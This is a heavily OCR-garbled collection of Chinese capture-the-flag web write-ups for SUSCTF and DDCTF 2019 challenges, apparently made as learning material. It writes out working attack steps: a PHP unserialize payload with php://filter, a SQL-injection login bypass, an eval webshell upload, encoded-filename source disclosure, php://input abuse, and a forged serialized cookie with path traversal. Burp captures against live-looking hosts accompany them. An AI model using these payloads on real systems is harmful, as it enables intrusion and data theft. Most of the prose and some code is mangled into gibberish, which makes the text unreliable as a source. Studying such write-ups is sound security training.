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’f‘ ’f‘ Save

—. Web: phpstorm (writeup)
X B FRIR R4 H T phpstorm, B #7Eur L1 A\ .idea/wokspace xmii# T & E

on="493"
column="14" lean-forward="true” selection-start-line="29" selection-start-column="14" selection-end-1line="29" selection-end-column="14"

7" selection-start—column="22" selection-end-line="7" selection—end-column="22"

“file://$PROJECT DIRS/. idea/wo

RIFAphp3cE, BEEAUIEFINTHS tru3_qu3stiOnphp, REIMELE, BLRRAMES, B EEX-Forwarded-
For:127.0.0. 134T thi&, AfE XA ULAHSUSHI AN K, HEEKUser-Agent:SUS, # A H ARG

<?php
+ Ok
0
class foo |
public $fi me;
function printContent()
$content = file_get_contents($this—>filename)
echo $content
if ($_SERVER[ HTTP_X

{_FORWARDED_F(R’ ] 1= 1127.0.0.1

calhost

echo ’Only

1= 'sUs
Sa =
if (1 “foo' 1)) {
alize ($_POST[ foo' 1)
)| lget_class($a) != “foo')
w  fool)
$a->filename = “text.txt”;
else
$a = new fool)
Sa—>filename = “text.txt”;

Sa—>printContent () ;

Hello, CTFer!

REGHE T, ERBE LN, TEPOSTIRAZ—AMoo, MHANTHFEHKM, Wi funserialize()iE%, TAIHEERZ Kpayloadz)F
R . FUn EEREKpayload®Z: 0:3:f00":1:{s:8:“flename”;s:57:“php:/filter/read=convert.base64-
encode/resource=flag.php”;}, iR [EIfbase64i:



Cancel > Target: http://sus.njnet6.edu.cn:11002 [

Request Response

[Raw M Headers | Hex @ Headers | Hex

POST request to /Thi5_tru3_qu3stion.php/ style="color: #0000BB">foo</span><span style="color: #007700">();<br
i />&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</span><span style="color:

Type ‘ Name Value Add #0000BB">$a</span><span style="color: #007700">-&gt;</span><span style="color:
Cookie PHPSESSID oj71ommngéftdfirnngsc0c7s5 #0000BB">filename&nbsp; </span><span style="color: #007700">=&nbsp;</span><span
Body foo Izrt.bases4-encode!resource%3dﬂag. php";} Remove style="color: #DD0000">"text.txt"</span><span style="color: #007700">;<br

/>&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />}&nbsp;else&nbsp;{<br

/>&nbsp;&nbsp;&nbsp; &nbsp;</span><span style="color: #0000BB">$a&nbsp;</span><span
style="color: #007700">=&nbsp;new&nbsp;</span><span style="color:
#0000BB">foo</span><span style="color: #007700">();<br
/>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$a</span><span
style="color: #007700">-&gt;</span><span style="color: #0000BB">filename&nbsp;</span><span
style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"text.txt"</span><span
style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$a</span><span
style="color: #007700">-&gt;</span><span style="color: #0000BB">printContent</span><span
style="color: #007700">();<br /></span>

</span>
</code>PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgUGhwU3RvcmOuCiAqIFVzZXI16|HkObmd5eQo
gKiBEYXRIOiAxOS0zLTE5CiAqIFRpbWUGI0S4i+WNiDI6MzgKICovCi8vU1VTQ1RGe1BIUFNUT1
JNXzFzX3BSM3R0eV91c2VGdWx9028+

BEE

Body encodina: application/x-www-form-urlencoded ? < + > Type a search term 0 matct

HEMEEfag:

CELTEH SSUEATHR SSLimmAELARN NiceTool Suna PRIRSH

PD9waHAKLyoqCiAqIENYZWFAZWQgYnkgUGhwU3RvemBuCiAqIFVzZXI6IHk8bmd5eQogKiBEYXR10iAX0S@zLTESCiAqQIFRpbWUSIOS41i+WNiDIEMZzgKICovCi8vU1VTQ1RGe1BIUFNUT1INX
zFzX3BSM3R@eV91c2VGdWx90z8+

i
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i3

#Bf3 baseb4 utf8(unicodefRH3)

w5 "B

<?php

/**

* Created by PhpStorm.

* User: ydngyy

* Date: 19-3-19

* Time: [/F2:38

*/
//SUSCTF{PHPSTORM_1s_pR3tty_useFul};?>

JERBAHIE, WTLLEEpayload: 0:3:f00”:1:{s:8:“filename”;s:8:“flag.php”;}

W, HIDHMEZRT, ?

=. Web: infoGate (writeup)

X8R5 08 A YA R IR, RAETTE MR M UL IR, FHP2EERRE TR, mitR@EET. )
HATARE, BRMERED, BRHESRR—NMKSED, REERES, H2aBBERH, FEHT—T, H¥l/luploads, #%
J5H —Hunicodefwmiy, FHLfERR EAEXKCSOHE, BERBMNWTERA LHEAuloadiE, XRRNFERMNFEZAETHER S
k. UNBEERT — T ARBMEN, HEBRRI X2 1A X E SRR BT E)

& > C A F&£| susnjnetb.edu.cn:11001/login.php o ¥ O




e

admin’ or '1'="1

IEIKF:guest/guest

I5234809

& 2 C O 7%= | susnjnetb.edu.cn:11001/index.php

{S8IJF  Home

Hello,admin

B # S FFUpload:

< > C ©® +%=2/| sus.njnetb.edu.cn:11001/edit.php
=l Upload

X

T.xt

MHHRE

<?php @eval($_POST['admin);?>

el

b E &4l LA SRR, E#RE/Upload:

- N —~ P | e L (. -~



< 2 U W) 42z | sus.njnetb.edu.cn:11001/Uploads/ )

INMUcEx o1 fyUpIioqaus

Name Last modified Size Description

arent Directory -
2019-04-13 06:29 11
2019-04-13 05:27 1
2019-04-13 06:37 40
2019-04-13 05:39 1
2019-04-13 07:10 31
2019-04-13 05:229 1
2019-04-13 05:33 40

ell.php 2019-04-13 05:37 40
2019-04-13 0527 1
2019-04-13 0527 1
2019-04-13 06:34 40
2019-04-13 04:47 40
2019-04-13 05:25 1
2019-04-13 06:34 40
2019-04-13 0525 1
scriptalertiscript 2019-04-13 05:24 1
est.txt 2019-04-13 04:47 O
test2.php 2019-04-13 04:49 40

] test2 txt 2019-04-13 04:49 10
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WFET, HPwebshel.php, A% kIiflag:

& C ® A%%£ | susnjnetb.edu.cn:11001/Uploads/webshell.php

SUSCTf{infoGate Pr3tty easy TO GETSHELL}

JERET —TETRFER, RIEBASRunionIkGTEANER, BAKEALBEAIERT . MiZsqimapa] UL H KK .
R JLEWebB HH B 5 HISA B EAEMR, ERSAREHERD— KK
DDCTF (Hi=i&) :

ERMNECRAVBCEHZAKFT - TEREMR, HAKW —BEKERNAHRLZBBRMFFN, HHERFGRAHETEN.
% KF & writeup:

https:/lwww.ctfwp.com/articals/2019ddctf.html

http://12end.xyz/ddctf-writeup/
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NTPS: //WWW.XMSEC.CC/aact-ZUTY-writeup/
—. # (writeup) :
X R AR AN N, FT R T

& > C  ® F%2£| 117.51.150.246/index.php?jpg=TmpZMIF6WXhOamN5UIRaQk56QTJOdz09

ﬂagqu

flagjpg
=
v

DR

—kE, MEHFREBRT, REH, FET —TEIK, T burpsuiteINBFE —TF: FATAT LUK IUAR R ) BT — EX 4w D Zbase64
GRS, BEBEN, X—BREEELiTbase16, BAITFIKbase644minF . BEARXFERIE, Hindex.phpidk T HH F
1E:

Go Cancel <|v >|» Target: http://117.51.150.246 | # | 7

Request Response

Raw | Params | Headers | Hex Raw | Headers IHex HTMLIRender]

GET /index.php?jpg=TmprMIJUWTBOalUzTORKRk56QTJPRGN3 HTTP/1.1 : <title>TmprMIJUWTBOalUzTORKRK56QTJPRGN3</title>index.php</br>index.p A
Host: 117.51.150.246 hp</br><img
Cache-Control: max-age=0 src="data:image/gif;base64, PDO9waHANCi8qDQogKiBodHRwczovL 2Jsb2cuY3Nkbi5
Upgrade-Insecure-Requests: 1 uZXQvRmVuZ0JhbkxpdVI1bi9hcnRpY2xIL2RIAGFpbHMvODAZMTY2MDeNCIAgIER
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) hdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm8yX3JlcGydGluZyhFXOFMTCB8f
Chrome/73.0.3683.86 Safari/537.36 CB+RV90T1RJQOUpOWOKDQoNCmhlYWRIcignY29udGVudC10eXBIOnRleHQvaH
Accept: RtbDtjaGFyc2VOPXV0Zi04Jyk7DQppZighlGlzc2VOKCRIROVUWydqcGenXSkpDQo
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-excha . gICAgaGVhZGVyKCdSZWZyZXNoQjA7dXJsPS4vaW5skZXgucGhwP2pwZz1UbXBa
nge;v=b3 [ TWxGNIdYaE9hbU41VWxSYVFINTZRVEpPZHowOScpOwOKJGZpbGUgPSBoZXg
Referer: http://117.51.150.246/ YYmIuKGJhc2U2NFOkZWNvZGUoYmFzZTY0X2RIY29kZSgkX0dFVFsnanBnJ10pK
Accept-Encoding: gzip, deflate Sk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnd10uJzwvdGlObGU+JzsNCiRma
Accept-Language: zh-CN,zh;q=0.9 WxIIDOgcHJIZ19yZXBsYWNIKCIvW15hLXpBLVowL TkuXSsvliwiliwgJGZpbGUpOw0
Connection: close KZWNobyAkZmlsZS4nPC9icj4nOwOKJGZpbGUgPSBzdHJfemVwbGFjZSgiY29uZml
nliwilSIsICRmaWxIKTsNCmVjaG8gJGZpbGUuJzwvYnl+JzsNCiROeHQgPSBiYXNIN
JRIZW5jb2RIKGZphGViZ2VOX2NvbnRIbnRzKCRmaWxIKSk7DQoNCmVjaG8gljxph
Wege3JiPSdkYXRhOmitYWdIL2dpZjtiYXNINjQsli4kdHhOLilnPjwvaW1nPil 7DQovKg
OKICogQ2FulHIvdSBmaW5kIHReZSBmbGFnlGZpbGU/DQogKgOKICovDQoNCj8+
= DQo="></img> E

EJ Ej EJ B Type a search term 0 matches EJ B B B Type a search term 0 matches

EH I B base64 B 71D

(cRezsAN=] SSUELET A SSLimRfELER NiceTool IS HURS v
<?php
/*

* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018

*/

error_reporting(E_ALL || ~E_NOTICE);


https://www.xmsec.cc/ddctf-2019-writeup/

header('content-type:text/html;charset=utf-8"');

if(! isset($_GET['jpg'l))
header('Refresh:8;url=./index.php?jpg=TmpZM1F6WXhOamN5ULRaQk56QTI0dz09") ;

$file = hex2bin(base64_decode(base64_decode($_GET['jpg'1)));

echo '<title>'.$_GET['jpg'].'</title>';

$file = preg_replace("/[~a-zA-Z8-9.]+/","", $file);

echo $file.'</br>";

$file = str_replace("config","!", $file);

echo $file.'</br>";

$txt = baseb4_encode(file_get_contents($file));

echo "<img src='data:image/gif;base6d,” . $txt." ' ></img>";
/*

* Can you find the flag file?

*

*/

?>

https:/blog.csdn.netc

M EBphpRIBEATLAR T L AR, BRGH T — M, XPMRBEN BV HEK, REEETEHRITES T WA 15575
Ko ARIENIEIE, &6 FHEK config' B HAN X MREE, FTIT Mg b BRI -

CSDN =@ #% 5 T8 EGE 6l APP @E . VIPRR &) 1BE ITeye GitChat £swE ©oer s @-

8 20513 x ® @ne echo

20185065071 23:58:02 17 &0513  [FEEE: 5666 #55%: Linux ) ( shell
JREY f>aE23 3N e
14 6 2 138 R SCtE = https://blog.csdn.net/FengBanLiuYun/article/details/¢

1. ISR
£S5 E B Aia: 1h+

5 359 Hem: 26+ 1| | echo deng379
e @ 2 | > deng379

1| | echo "i'm deng379"

2| > i'm deng379

MREFHWEIS, BFHRSIS()HFE, RFEELDENHEIRL, FECul+C, FRREEmMLST LS
(=EM VIP,

\9 -
R R N

B o1 Nikm <oz B T8

ALURILH A AR, A7 A4HBCE:

CSDN &1 % ¥& T8 EDGE it APP AE @il VIPRR %@ 128 ITeye GitChat £seE ©@ver aEs @-

@ #MB0513 o = vim BEIRY swpX{HRET

20184075040 16:37:37 $hA0513  (Hissk: 4344
il wnee =W e
14 6 2 138 @SR fRie: A&

/artic

https://blog.csdn.net/FengBanLiuYu 9

= S 1T RIFFHAERVImBIESERY, AT WEXRASHTRE, SESHALERBSRINER, &

EsEmiRHI, SFHRNMREESERCH]+ Z3R5EHIKHvim,
45 359 He2: 265+

e | EBAERAAFEREXAVimRER: (EEAEin. BEEE) , FeEm— T BTFEnErX
PERIRRS S —— swpS2tt. BicxT BREIRERXAVimRER ZRIRAER I RFANEN, B
FHRE., HEZREINEEHASESIA swpXlF, TIESER—NHI, B0 swollit,

BIENEE—IRF=E—> practice txt. swp, BIREINBLEIG, 154742 A practice txt swolJ3ZHa3
ft; TSR =IRF=ERTASHRS4 9  practice.txt.swn”; #RIELZEHE,

FILAE Is -al EELSRINER T 0938083, (@
Vi
deng379@localhost: ~/Desktop$ 1ls -al G

total 36

drwxr-xr-x. 2 deng379 deng379 4096 Jul 4 16:06

an [ VY N s - s




Sacvras

B 5572

vim SEIEH swp{
sy 4263

python £=#87

B 1097

Python iR

% date
IFSEE 354

=S

< echo
weixin_44925229: [replylqq_41289254[/reply]
FHT SFB EFHABIOE BINEE T— T8t ..

< echo
weixin_44925229: [replylqq_41289254[/reply]
PRGATA

Bk T

AT 233 ..

< echo
weixin_42117513: ddctffT &, STHEA

@ echo
ZERO_MU: i&~~~~Bifl&

e W

R

Swap files found:
Using specified name
1. .practice. txt

user name
process ID:
.practice. txt.
owWned DY
file nam
modifie
user name:
process ID:

e S S T TS T T

Swo
Geng379 | dated: Wed Jul 4 16:06:12 2018
~deng379/Desktop/practice. txt

no

deng379 host name: localhost

2036 (still running)

Swp

deng3/9 |dated: Wed Jul 4 16:05:14 2018

~deng379/Desktop7practicestxt

YES

deng379
213

host name: localhost

directory ~/tmp:

-- none --

directory /var/tmp:

-- none --

directory /tmp:

S=RONe ==

r number of swap file to use {(0Dto quit):

RS R LARIBRERAY .swp3Z{F,

PS: FMAMYkali-rollingiBBvimiRIBEERIIES A Evim, MEvi.

deng379@localhost:~/Desktop$ vim

-bash: vim: command

not found

ldeng379@localhost:~/Desktop$ alias

WA, 24 PR X B AR A 2 AR WL T . 7T practice.txt.swp:

<

flag!ddctf.

C O ==

php

117.51.150.246/practice.txt.swp

<>

XEHER BN R SR T, IR config’, TRIZBER, A1 lagconfigddetf.php’ %8 77 &8, k%

[ Target I Proxy I Spider I Scanner I Intruder ]Repeater ISequencer 1 Decoder I Comparer l Extender I Project options TUser options IAIerts ]

|1 R ..
Go

Request

Cancel <|¥ > >

Raw | Params | Headers | Hex

Response

Target: http://117.51.150.246 | L

Raw | Headers | Hex HTMLTRender]

GET

Jindex.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1 TmpjMKSEWTBOak0z TkRZMk 1tV TNNRFKOTnpBPQ=

=HTTP/1.1

Host: 117.51.150.246
Cache-Control: max-age=0

A HTTP/1.1 200 OK

X-Powered-By: PHP/5.4.26
Content-Length: 454

Date: Thu, 18 Apr 2019 11:29:20 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.26



Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/73.0.3683.86 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;¢=0.9,image/webp,image/apng,*/*;¢=0.8,application/signed-excha

nge;v=b3

Referer: http://117.51.150.246/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

& Rbase64 @Y
CELIE SSLEgETH SSLmRTELER
/B  base64 B
<?php

include('config.php');

$k = 'hello’;

extract($_GET);

if(isset($uid))

{
$content=trim(file_get_contents($k));
if($uid==%content)

{
echo $flag;
}
else
{
echo'hello’;
}
}
2>

L4

NiceTool ZarH

utf8(unicode@A3)

B

Connection: close
Content-Type: text/html;charset=utf-8

<title>TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk
1tVTNNRFkOTnpBPQ==</title>f1agconfigddctf.php</br>f1ag!ddctf.php</br><i
mg
src="data:image/gif;base64,PDI9waHANCmIuY2x1Z2GUoJ2NvbmZpZy5SwaHANKTsN
CiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJFIHRYQpOwOKaWYoaXNzZXQoJHVpZ
CkpDQp7DQoglCAgJGNvbnRIbnQ9dHIpbShmaWxIX2dIdF9jb250ZW50cygkaykpO
wOKICAgIGImKCR1aWQIPSRjb2502ZW50KQOKCXsNCgkJZWNobyAkZmxhZzsNC
gl9DQoJZWxzZQOKCXsNCgkJZWNobydoZWxsbyc7DQoJfQOKFQOKDQo/Pg=="></
img>

TRESH v

B3

HEAWEE T, R, R

<« C  ® &% | 117.51.150.246/f1aglddctf.php?uid=&k=php://input

DDCTF{436f6e67726174756¢6174696f6e73}

—. WEBZ R (3 :

B2 BT ER, FNfile_get contents()Hphp:/input, UdE#EEZ:

KB — R IE R WBIBER, BAER, —HHEEBMRTCTFRIER, karaf( V)", JERIWBTIRG, RERBEEKL,



BAVEE R 8%, tWIRTE TERNAKWRIE T B CHEERE, HSLihXEE L s ER .

C @ #%=£ | 117.51.158.44/index.php

o,

1R

e

ISBEILAER, BREUREE-----

JERERA—FE, XEBEGF— . HRAITHindex. phpiX A~k gk, BILURIMEIRER T HAMB T, H4 LR & ES M
K1, BJE{EAuth.phpiE =R BRI T didictf_usernamelfi H %, BHEBH NadminEFH K%, FEAURIUTA:

<« [ ( 117.51.158.44/index.php I 4 IN @O g @ g =
B aReT s @ wF Lk wERsE [B) SRR [ BB
B, BEEMIUR, BREEREIE-----
v Oz ODosls OBEke (Iatmee Oy Orr Nog BEE F oEsis @ Hacksar 0] e X
W VigiEURL I HTML CSS JS XHR =k mEfg ®ix ws =2t [JEeAs [J2E8E  FoiRs HARS
e 271 pred BRI . E=id iz} K 0EmW sk 1
200) GET # 1175115844 B ind... document  html 627 F15 808 F15 I e =R
304 GET # 117.51.158.44 hig... script js (=0 46.18 KB | H RS
N . . ik wIhE
304 GET # 117.51.158.44 jqu... script js BT 140.49 KB |
POST http://117.51.158.44/app/Auth.php
GET # 117.51.158.44 de... stylesheet css 137 KB 1.13 KB |
304 GET # 1175115844 B ind... script js S 673 % n BRE
GET # 117.51.15844 [ fav... img Banl o 204 =55 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 "
Accept-Encoding: gzip, deflate
200) POST #Z 1175115844 B Au... xhr json 318 =75 147 55 Referer: http://117.51.158.44/index.php
y y " Content-Type: application/json;charset=utf-8
117.51.158.44 Au... didictf_username: admin|
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Content-Length: 0 v
< >
TEREM:
@ B8 MERK OfEHi18959KB/230KB  52Ak: 406 P  DOMContentloaded: 247 Z#8  load: 271 = \
(€) c @ @ 117.51.158.44/index.php 8 e Y N D5 ® 5
B yameEnss @ HFLs wmp [ SR [ #aif
fai, ERAER, EHREUWURETIR-----
N O==x Oy OmteE OatmEs Ouw Oor NS B &% 7 BESRE @ HackBar 0] e

W Vi URL

I HTML €SS JS XHR =&k [Eif ik WS Hft [i3e0s [|2MEE UK HAR



W& Tk I g AR ESS &4 FNIN (=13 ta0. B EBk Cookie 2¥ AN S MRIRE

GET # 1175115844 B ind... document  html 627 F15 808 =15 64 5505 V s
304 GET # 1175115844 B hig... script js B 46.18 KB | 62 55 v SON
GET 1175115844 B j i j =222 14049KB | errhlsg: success
o Sl Jqu.. script Is : €3 2 data: #SAIAIIIR A TR 5ITapp/fL2XID210Cdh.php
GET #Z 1175115844 B de... stylesheet css 1.37 KB 1.13KB | 63 =1 ~ G (payload)
304 GET / 117.51.158.44 ind... script js [Sr22 673 =1 | 96 =3 1 {"errMsg":"success", "data":"\u6@a8\u5f53\u524d\u5f53\u524d\u6743\u9650\ude3a\ui
GET # 1175115844 [ fav... img html [5:ic2 204 =75
POST # 1175115844 B Au... xhr json 318 F 147 =95 62 =

% 1175115844 B Au...

O 84K EfEH18973KB/260KB  52Ai: 226%%h  DOMContentloaded: 247 25 load: 271 5 <

BERHRT, EEUGAS DKL, BIPBIRY, KRB eHRlagh XKD, RIEHETITH:

private function sanitizepath($path) {
$path = trim($path) ;
$path=str_replace( ../ ,’’, $path) ;
$path=str_replace(..\\’, ’, $path) :
return $path;

}

public function  destruct() {
if (empty ($this—>path)) {

exit();
telse{
$path = $this—>sanitizepath($this—>path);
if (strlen($path) !== 18) {
exit();
}
$this—>response($data=file get contents($path),’ Congratulations’) ;
exit();
1
}

include ’Application. php’ ;
class Session extends Application {

/ /key B ULNSAL 7 5

var $eancrykey =77

var $cookie expiration = 7200;
var $cookie name = ’ddetf id’
var $cookie path =7,
var $cookie_domain = :
var $cookie_sectire = FALSE;
var $activity = ”"DiDiCTF”;

public function index()

{
if (parent::auth()) {
$this—>get key();
if ($this—>session_read()) {
$data = *DiDI Welcome you %s’ ;
$data = sprintf($data, $ SERVER[’ HTTP_USER AGENT’ ]) ;
parent: :response ($data, ’ sucess’) ;
telsef
$this—>session create() ;
$data = *DiDI Welcome you ;
parent: :response ($data, ’ sucess’) ;
}
1
}

private function get key() {

//eancrykey and flag under the folder

$this—eancrykey = file_get_contents(../config/key. txt’);
}

public function session_read() {
if (empty ($_COOKIE)) {
return FALSE;
}

$session = §_COOKIE[$this—>cookie name];
if(!isset($session)) {

” . s >
narent - -resnanse (“ceccinn nat fannd” Y errar’) -



return FALSE;
}
$hash = substr ($session, strlen($session)-32) ;
$session = substr($session, 0, strlen($session)—32) ;

if ($hash !== md5($this—>eancrykey. §session)) {
parent: :response (“the cookie data not match”,’ error’);
return FALSE;

1

$session = unserialize ($session) ;

if(!is_array(§session) OR !isset($session[’ session_id']) OR !isset($session[’ ip_address’]) OR !isset($session[ user_agent’])) {
return FALSE;
}

if (lempty ($_POST["nickname”])) {
$arr = array($ POST[”nickname”], $this—>eancrykey) ;
$data = “Welcome my friend %s”;
foreach ($arr as $k => $v) {
$data = sprintf(§data, $v) ;
}
parent: :response($data, "Welcome”) ;

}

if($session[’ ip_address’] != $_SERVER[’ REMOTE_ADDR’ ]) {
parent::response(’ the ip addree not match’. error’);
return FALSE;

}

if($session[ user agent’ ] != § SERVER[HTTP_USER AGENT 1) {
parent: :response (' the user agent not match’,’ error’);
return FALSE;

}

return TRUE;

private function session create() {
$sessionid = '’ ;
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand (0, mt_getrandmax()) ;
}

$userdata = array(
’session id’ => md5(uniqid($sessionid, TRUE)),
’ip_address’ => $_SERVER[’ REMOTE_ADDR’ ],
“user_agent’ => $_SERVER[" HTTP_USER_AGENT ],
’user data’ => "7,

)

$cookiedata = serialize ($userdata) ;
$cookiedata = $cookiedata. md5 ($this—>eancrykey. §cookiedata) ;
$expire = $this—>cookie expiration + time():
setcookie (
$this—>cookie name,
$cookiedata,
$expire,
$this—>cookie path,
$this—>cookie_domain,
$this—>cookie_secure

)

$ddctf = new Session();

B HE — 4 Mdestruct(), file_get contents($path)FR AR LAIE R XAHIREL XN ERER; REXTTHE 49, HI
get_key(), 4 T #7R"eancrykey and flag under the folder", #&42A".../configlkey.txt". F4E T & th Blunserialize() R 7514k, LA
K e Huser_dataffiserialize(). Kk LFTR, FTERMNFIHRFHILAEpayload, HERNFTEELEZKey,

BT MEL, FE"nickname" B B, FHsprintf] LLfkeyH B, @it 4" "app/Session.php”, IMEEH
hn"didictf_username:admin”, 7§ %|cookie, A/EEHIEHMIE %, BEHAPOST, RAHIE nickname=%s", 5 Elkeyld:

Go | Cancel <I* > | Target: http://117.51.158.44 @t



Request

Raw I Headers I Hex

rResponse

Raw I Headers I Hex

GET /app/Session.php HTTP/1.1 : HTTP/1.1 200 OK
Host: 117.51.158.44 Server: nginx/1.10.3 (Ubuntu)
Upgrade-Insecure-Requests: 1 Date: Wed, 24 Apr 2019 14:57:47 GMT j
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWG64) AppleWebKit/537.36 (KHTML, like Gecko) Content-Type: application/json
Chrome/73.0.3683.86 Safari/537.36 Connection: close
Accept: Set-Cookie:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-excha ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b6d:
nge;v=b3 51dﬁdb6d2069bb17d7dbb834d69%22%3B5%3A1O%BA%22ip7address%22%3Bs%3)
Accept-Encoding: gzip, deflate F A13%3A%22122.96.42.189%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109 !E
didictf_username:admin %3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2
Accept-Language: zh-CN,zh;q=0.9 F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F53
Connection: close 7.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Da1302
baea7b7f262eba014ba98431592; expires=Wed, 24-Apr-2019 16:57:47 GMT;
Max-Age=7200
Content-Length: 188
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\ude3a\u7b
a1\u7406\u5458----\u8bf7\u8bbflud5ee:appV/fL2XID2i0Cdh.php"}{"errMsg":"sucess","d
L ata":"DiDI Welcome you %s"}
!
? < + > ] Type a search term 0 matches ? < ] + || > ] Type a search term 0 mate
Jad -
Go cancel | [ <ir | [ =1 Target: http://117.51.158.44 (#
Request Response
Raw | Params | Headers | Hex Raw I Headers i Hex
Upgrade-Insecure-Requests: 1 A HTTP/1.1 200 OK

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.86 Safari/537.36

Accept:

text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng, */*;q=0.8,application/signed-excha
nge;v=b3

Accept-Encoding: gzip, deflate

didictf_username:admin

Cookie:
ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222¢5735dfa2b9f8dc93f12b5fadebd
8d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22122.96.42.189%22% 3Bs%3A10%3A%22user
_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F5
37.36+%28KHTML%2C +like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22u
ser_data%22%3Bs%3A0%3A%22%22%3B%7D7146b1d332538e85a9499¢70de10ce0f

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Length: 11

Content-Type: application/x-www-form-urlencoded

d

l 0 matches

nickname="%s

EBEEE

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 24 Apr 2019 15:04:23 GMT
Content-Type: applicationfjson
Connection: close

Content-Length: 355

AN AN N A= 0

("errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4eSa\u7l§
a1\u7406\u5458----\u8bf7\u8bbfu9bee:appV/fL2XID2i0Cdh.php"}{"errMsg":"Welcome";
"data";"Welcome my friend EiblrbN errMsg":"sucess","data"."DiDl Welcome you
Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko)
Chrome\/73.0.3683.86 Safari\/537.36"}

0 mat

B EJ B [3 Type a search term

E3lkeyllJa, HiEcookiest T & T WL . BATA UL EZEA AIEGIEAHE T RBEE. keyEHTBE, AMEZRBEFIILAE.
LRNTHZR, FEER—RKRE, WHER—BXpathb MRS, MtimdT TidiE, AT 5d, RIEFEANE". /1 X
FE—k, RIEE".. S BOEIE, B BRAR. AT KT h B A A iEkeyMflagfE A — B2 T, HICHEEKE 18, 1M

J&"path=..././config/flag.txt”.

PHP TR e

<?php
class Application{
var $path = '..././config/flag.txt";
}
$p = new Application();
$str = serialize($p);
print $str.md5('EzblrbNs’.$str);
2>

0NV R wN R

= BRI

O:11:"Application™1:{s:4:"path";s:21:"..././config/flag.txt";}
5a014dbe49334e6dbb7326046950bee?2




2 Zlflag:

Go Cancel <|* >|v

Request

Raw | Params | Headers | Hex

Target: http://117.51.158.44 | & ‘

Response

Raw I Headers | Hex

POST request to /app/Session.php

Type ‘ Name Value Add
Cookie ddctf_id 0:11:"Application": 1:{s:4:"pat...
Body nickname %s Remove

Up

Down

Body encoding: application/x-www-form-urlencoded

=. UploadMG (Z3) :

I

Server: nginx/1.10.3 (Ubuntu)

Date: Thu, 25 Apr 2019 00:22:44 GMT

Content-Type: application/json

Connection: close

Content-Length: 220 1

HTTP/1.1 200 OK ﬁ
i

{"errM5g":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u54j
8----\u8bf7\u8bbf\ugdsee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf20=
19_G4uqwj6E_pHVIHIDDGdV8qA2}}"}

| ? H < ” + H > | Type a search term 0 mat

—F R AR E LA, ATt B ifupload B I B 1, BRMIEREAMEERE, EERTAMEW. o>

_____<o)°-o

C  © F%%£ | 117.51.148.166/upload.php

Filename: | i3 SFsBEAMF

HEEA—KEREESHIU 4

Go Cancel < v > v

Request

Raw | Params | Headers | Hex

Target: http://117.51.148.166

Response

Raw | Headers | Hex

POST /upload.php?type=upload HTTP/1.1

Host: 117.51.148.166

Content-Length: 29686

Cache-Control: max-age=0

Authorization: Basic ZGRAY3RmOKREQGNOZIMwMDA=

Origin: http://117.51.148.166

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6BBeRaExgYoqB23C
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko)

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 25 Apr 2019 00:34:18 GMT
Content-Type: text/html;charset=utf-8
Connection: close

Content-Length: 148

<img src="image/190425083418_1257144858.jpg"><br>[Check
‘ Error] EA£ 89 B A BT R 8 & §5 £ = #F 5 :<font color="red">phpi nfo()</fnnt>|




Lnromer 7 3.U.3083.60 Sararyoss .o
Accept:
